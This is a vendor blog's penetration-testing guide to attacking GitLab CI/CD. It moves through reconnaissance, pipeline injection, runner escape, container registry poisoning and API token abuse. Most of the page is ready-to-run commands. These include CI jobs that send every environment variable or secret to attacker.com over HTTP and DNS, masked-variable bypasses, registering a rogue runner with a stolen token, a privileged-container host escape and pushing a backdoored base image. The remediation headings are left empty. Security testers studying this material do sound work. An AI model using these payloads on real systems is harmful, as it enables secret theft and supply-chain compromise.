GitLab CI/CD Security Testing: Pipeline Injection, Registry Abuse, and Runner Exploitation

GitLab is not just a code repository. It holds your secrets, triggers your deployments, builds your production images, and runs arbitrary code on infrastructure you own. An attacker with even minimal GitLab access — a guest role, a leaked deploy token, a misconfigured runner — can pivot from "read a single repo" to "exfiltrate every secret in every project on the instance." That is why GitLab has become one of the highest-value targets in modern infrastructure assessments.

This guide covers the full attack chain: instance reconnaissance, pipeline injection, CI variable exfiltration, runner exploitation, container registry abuse, and API token harvesting — with practical commands at every step.

Why GitLab CI/CD Is a High-Value Target

Three properties make GitLab uniquely dangerous compared to other internal systems:

A CI/CD security assessment on GitLab is therefore part code review, part cloud pentest, and part secrets audit rolled into one engagement.

Phase 1: Reconnaissance

Discovering GitLab Instances

Self-hosted GitLab instances frequently appear on non-standard ports and paths. Start with passive discovery:

# Shodan search for self-hosted GitLab
shodan search 'http.title:"GitLab" org:"target-company"'

# Certificate transparency — GitLab often gets its own subdomain
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | grep -i git

# DNS brute force common patterns
for sub in git gitlab gitlab.internal code vcs scm; do
  host $sub.example.com 2>/dev/null | grep "has address"
done

Version Fingerprinting

GitLab version is exposed in multiple places. Knowing the version narrows the CVE surface immediately:

# Unauthenticated version disclosure
curl -s https://gitlab.example.com/ | grep 'content="GitLab'
# Returns: <meta content="GitLab 16.11.2" ...>

# API endpoint — works without auth on many instances
curl -s https://gitlab.example.com/api/v4/version
# {"version":"16.11.2","revision":"abc12345"}

# Help page metadata
curl -s https://gitlab.example.com/help | grep -i "gitlab version"

Notable versions to prioritize: GitLab < 16.0 (CVE-2023-7028, password reset via email header injection), GitLab < 15.3.1 (CVE-2022-2992, authenticated RCE), GitLab < 14.10.5 (CVE-2022-1162, hardcoded password for OmniAuth).

API Enumeration Without Credentials

GitLab's REST API exposes significant data even unauthenticated, depending on instance visibility settings:

# Enumerate public projects
curl -s "https://gitlab.example.com/api/v4/projects?visibility=public&per_page=100" \
  | jq '.[] | {id: .id, name: .name, http_url: .http_url_to_repo}'

# Enumerate public groups
curl -s "https://gitlab.example.com/api/v4/groups?visibility=public" \
  | jq '.[] | {id: .id, name: .name, full_path: .full_path}'

# Check if user enumeration is possible
curl -s "https://gitlab.example.com/api/v4/users?username=admin"

# List public pipelines on a known project
curl -s "https://gitlab.example.com/api/v4/projects/42/pipelines" \
  | jq '.[] | {id: .id, status: .status, ref: .ref}'

Pay attention to internal visibility: GitLab distinguishes between public (world-readable), internal (any authenticated user), and private. On instances with registration enabled, creating a free account instantly grants access to all internal projects.

Phase 2: Pipeline Injection Attacks

.gitlab-ci.yml Manipulation

If you have write access to any branch — even a fork — you can modify the pipeline definition. The goal is to inject a job that exfiltrates environment variables or establishes a reverse shell on the runner:

# Malicious .gitlab-ci.yml job — exfiltrate all CI variables
exfil_job:
  stage: test
  script:
    - env | base64 | curl -X POST https://attacker.com/collect -d @-
  only:
    - branches

This works because every CI variable — including those marked "protected" — is injected into the environment of jobs running on matching protected branches. The attacker only needs to trigger the pipeline on a protected branch to access protected variables.

Merge Request Pipeline Attacks

GitLab allows pipelines to run on merge requests from forked repositories. If the target project has pipelines for merge requests enabled and does not restrict fork pipelines, an external contributor can inject pipeline jobs:

# Fork the target repo, add malicious .gitlab-ci.yml, open MR
# The pipeline runs on the TARGET's runners with the TARGET's non-protected variables

# Check if fork pipelines are allowed via API
curl -s "https://gitlab.example.com/api/v4/projects/42" \
  | jq '.only_allow_merge_if_pipeline_succeeds, .fork_network_members_count'

The critical distinction: protected variables are not exposed to fork pipelines by default, but unprotected variables are. In many real environments, teams store credentials in unprotected variables "temporarily" and never move them — those are exposed to anyone who can open a merge request.

Protected Branch Bypass

Protected branches are the mechanism that guards protected variables. When the protection is misconfigured, the entire variable tier collapses:

# Enumerate branch protection via API (requires read access)
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/protected_branches" \
  | jq '.[] | {name: .name, push_access_levels: .push_access_levels}'

# If "Developers can push" is enabled on a protected branch,
# any Developer-role user can push directly — triggering pipelines
# with access to ALL protected variables for that branch

Look for protected branch rules where push_access_levels[].access_level is 30 (Developer) rather than 40 (Maintainer). This is the most common misconfiguration found in real GitLab audits.

Phase 3: CI/CD Variable and Secret Exposure

Environment Variable Exfiltration

Once inside a pipeline, every secret injected as a CI variable is a plain environment variable accessible via env, printenv, or direct variable expansion. The standard exfiltration payload:

# In .gitlab-ci.yml — dump everything via DNS (avoids firewall blocks)
leak_via_dns:
  script:
    - for var in $(env | grep -E 'TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL' | cut -d= -f1); do
        val=$(printenv $var | base64 -w0 | tr '+/' '-_' | tr -d '=');
        host ${val:0:60}.attacker.com;
      done

Masked Variable Bypasses

GitLab's "masked" variable setting redacts the value in job logs — but only when the exact value appears as a contiguous string. Several bypass techniques exist:

# Bypass 1: Print the value character by character
- echo $SECRET_TOKEN | fold -w1

# Bypass 2: Base64 encode first (masked check runs on raw value)
- echo $SECRET_TOKEN | base64

# Bypass 3: Write to a file, then cat in chunks
- echo $SECRET_TOKEN > /tmp/s && dd if=/tmp/s bs=1 count=20
- dd if=/tmp/s bs=1 skip=20 count=20

# Bypass 4: Exfiltrate via HTTP to attacker-controlled endpoint
- curl -d "secret=$SECRET_TOKEN" https://attacker.com/recv

The bottom line: GitLab masking is a log redaction feature, not a security control. Any code running inside a job can read and exfiltrate the raw value. Treat masked variables exactly as you treat unmasked ones from a secrets management perspective.

CI_JOB_TOKEN Abuse

CI_JOB_TOKEN is automatically injected into every pipeline job. It grants scoped access to the GitLab API and can be used to clone repositories, pull packages, and interact with the registry. Its scope has expanded significantly across GitLab versions:

# What CI_JOB_TOKEN can do by default
# Clone any project that has "CI job token" allowed in its token access policy
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.example.com/other-group/private-repo.git

# List accessible projects via the job token
curl -s -H "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example.com/api/v4/projects?membership=true" \
  | jq '.[].name'

# Read package registry artifacts from other projects
curl -s -H "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/99/packages"

Prior to GitLab 15.9, CI_JOB_TOKEN had access to the entire GitLab instance's internal projects. Post-15.9, access is controlled per-project via the token access allowlist — but many organizations never configured the allowlist, leaving the permissive default in place.

Phase 4: GitLab Runner Exploitation

Runner Architecture and Attack Surface

Runners come in three scopes: instance-wide (admin-configured, available to all projects), group (available to all projects in a group), and project-specific. Instance-wide and group runners are the high-value targets because a successful attack chains across every project using them.

Runner Type Blast Radius Requires
Instance-wide All projects on the instance Admin access or runner token theft
Group runner All projects in the group Group Owner or runner token theft
Project runner Single project Project Maintainer or runner token theft

Runner Token Theft

Runner registration tokens are the crown jewel. Leaking one allows registering a rogue runner that intercepts jobs. Common sources:

# Search source code for runner tokens (format: GR1348941xxxx or rvp_ prefix)
trufflehog git https://gitlab.example.com/target/repo --only-verified

# If you have admin access, list all registered runners
curl -s -H "PRIVATE-TOKEN: $ADMIN_TOKEN" \
  "https://gitlab.example.com/api/v4/runners/all" \
  | jq '.[] | {id: .id, description: .description, status: .status, is_shared: .is_shared}'

# Steal runner registration token from project settings page
# Settings > CI/CD > Runners — the registration token appears here for Maintainers

# With a registration token, register a rogue runner
gitlab-runner register \
  --url https://gitlab.example.com \
  --registration-token STOLEN_TOKEN \
  --executor docker \
  --docker-image alpine \
  --description "rogue-runner" \
  --tag-list "" \
  --run-untagged true

Privileged Container Escape

Runners configured to run in privileged Docker mode are an immediate container escape. Check the runner configuration:

# In /etc/gitlab-runner/config.toml on the runner host
# The dangerous configuration:
[runners.docker]
  privileged = true
  volumes = ["/var/run/docker.sock:/var/run/docker.sock"]

With privileged = true, any job running on that runner has full control of the host kernel. The escape is straightforward:

# Inside a privileged container — mount the host filesystem
mkdir /host
mount /dev/sda1 /host

# Or via the Docker socket if mounted
docker run -v /:/host -it alpine chroot /host sh

# Read runner config from host filesystem — contains runner tokens
cat /host/etc/gitlab-runner/config.toml

Once on the runner host, you have access to all cached Docker layers (which may contain secrets baked into images), the runner's registration token, and network access to anything reachable from the runner's subnet — which often includes internal Kubernetes clusters, RDS instances, and other production infrastructure.

Phase 5: Container Registry Abuse

Discovering and Accessing the Registry

GitLab's built-in container registry runs on the same domain or a registry subdomain. If you have valid GitLab credentials, registry access is automatic:

# Log in with GitLab credentials
docker login registry.gitlab.example.com \
  -u your-username \
  -p your-password-or-token

# Or use a CI job token from inside a pipeline
docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY

# List available images in a project
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/registry/repositories" \
  | jq '.[] | {id: .id, name: .name, tags_count: .tags_count}'

Credential Extraction from Images

Docker images are layered filesystems. Secrets accidentally written into image layers persist even after deletion commands in later layers. Pull and inspect:

# Pull the image and inspect all layers
docker pull registry.gitlab.example.com/target/app:latest
docker history registry.gitlab.example.com/target/app:latest --no-trunc

# Extract all layers and grep for secrets
docker save registry.gitlab.example.com/target/app:latest | tar -xO \
  | tar -x --wildcards '*/layer.tar' -O \
  | tar -t 2>/dev/null | grep -E '\.env|config\.json|credentials'

# Run trufflehog against the full image
trufflehog docker --image registry.gitlab.example.com/target/app:latest

Extracting Docker Credentials from config.json

The Docker daemon stores registry credentials in ~/.docker/config.json. If a CI job ever performed a docker login without cleaning up, the credentials persist in the job artifact or cached runner workspace:

# Check artifacts for leaked config.json
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/jobs/1337/artifacts" \
  --output artifacts.zip
unzip -o artifacts.zip
find . -name "config.json" -exec cat {} \;

# Decode base64-encoded auth field
cat ~/.docker/config.json | jq -r '.auths."registry.gitlab.example.com".auth' | base64 -d
# Returns: username:password

Image Poisoning

If you can push to the registry, you can replace a legitimate base image with a backdoored version. When any downstream pipeline pulls :latest, it runs your image:

# Tag a backdoored image as the legitimate base
docker tag attacker/malicious registry.gitlab.example.com/target/base-image:latest
docker push registry.gitlab.example.com/target/base-image:latest

# Any pipeline using:
#   image: registry.gitlab.example.com/target/base-image:latest
# now runs under your control

Phase 6: GitLab API Abuse

Token Types and Their Scope

Token Type Scope Where to Find Them
Personal Access Token (PAT) All resources the user can access Source code, CI variables, git history
Project Access Token Single project only Project settings, .env files, CI variables
Group Access Token All projects in a group Group-level CI variables, Terraform state
Deploy Token Read-only: clone + registry pull Kubernetes secrets, deploy scripts
Runner Registration Token Register new runners Runner config, Settings > CI/CD page

Enumerating Access With a Found Token

# Identify the token owner and scopes
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/user" \
  | jq '{id: .id, username: .username, is_admin: .is_admin}'

# List all groups the token can access
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/groups?all_available=true&per_page=100" \
  | jq '.[] | {id: .id, name: .name, full_path: .full_path}'

# List all CI/CD variables the token can read
# (requires Maintainer+ on the project)
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/variables" \
  | jq '.[] | {key: .key, value: .value, protected: .protected, masked: .masked}'

# Check if token has admin scope
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/admin/runners" | head -1

Service Account Enumeration

GitLab 16.1+ introduced service accounts — bot users that hold long-lived tokens for automation. They are frequently granted broad group-level access and their tokens end up in Kubernetes secrets, Terraform state files, and cloud parameter stores:

# List service accounts on a group (requires Owner)
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/groups/14/service_accounts" \
  | jq '.[] | {id: .id, username: .username}'

# List PATs for a service account
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/users/99/personal_access_tokens?state=active" \
  | jq '.[] | {id: .id, name: .name, scopes: .scopes, expires_at: .expires_at}'

Common Vulnerabilities: What to Always Check

Unprotected CI Variables in Job Logs

The single most common finding in GitLab assessments: a CI variable is printed in a job log either by a debugging statement left in the pipeline or by a command that expands variables in its output. GitLab stores job logs indefinitely, and they're accessible to anyone with Guest access to the project:

# Search job logs for common secret patterns using glab
glab auth login --hostname gitlab.example.com --token $TOKEN
glab ci list --project target-group/target-project

# Download job log via API
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/jobs/1337/trace" \
  | grep -E 'token|secret|key|password|credential' -i

Debug Job Output

GitLab CI supports a CI_DEBUG_TRACE variable that enables bash set -x mode — printing every command and its expanded arguments to the log. When this is enabled on a job handling secrets, every variable expansion is visible in the trace:

# This variable causes complete secret exposure in logs
variables:
  CI_DEBUG_TRACE: "true"  # Never enable in production pipelines

Artifact Exposure

Pipeline artifacts are accessible to all project members by default. Files written during a build — compiled binaries, test reports, generated configs — often include secrets if the build process lacks discipline:

# List artifacts for a job
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/jobs/1337/artifacts"

# Download and scan for secrets
curl -L -H "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.example.com/api/v4/projects/42/jobs/1337/artifacts" \
  -o artifacts.zip && unzip -q artifacts.zip
trufflehog filesystem . --only-verified

Tools for GitLab Security Testing

Remediation

Pipeline Injection

Variable Security

Runner Security

Registry and Token Security

Ironimo's automated scanner tests your GitLab-connected applications for exposed secrets, misconfigured CI pipelines, and vulnerable endpoints — the same checks a pentester runs, automated and continuous.

Get early access at Start free scan

← Back to Blog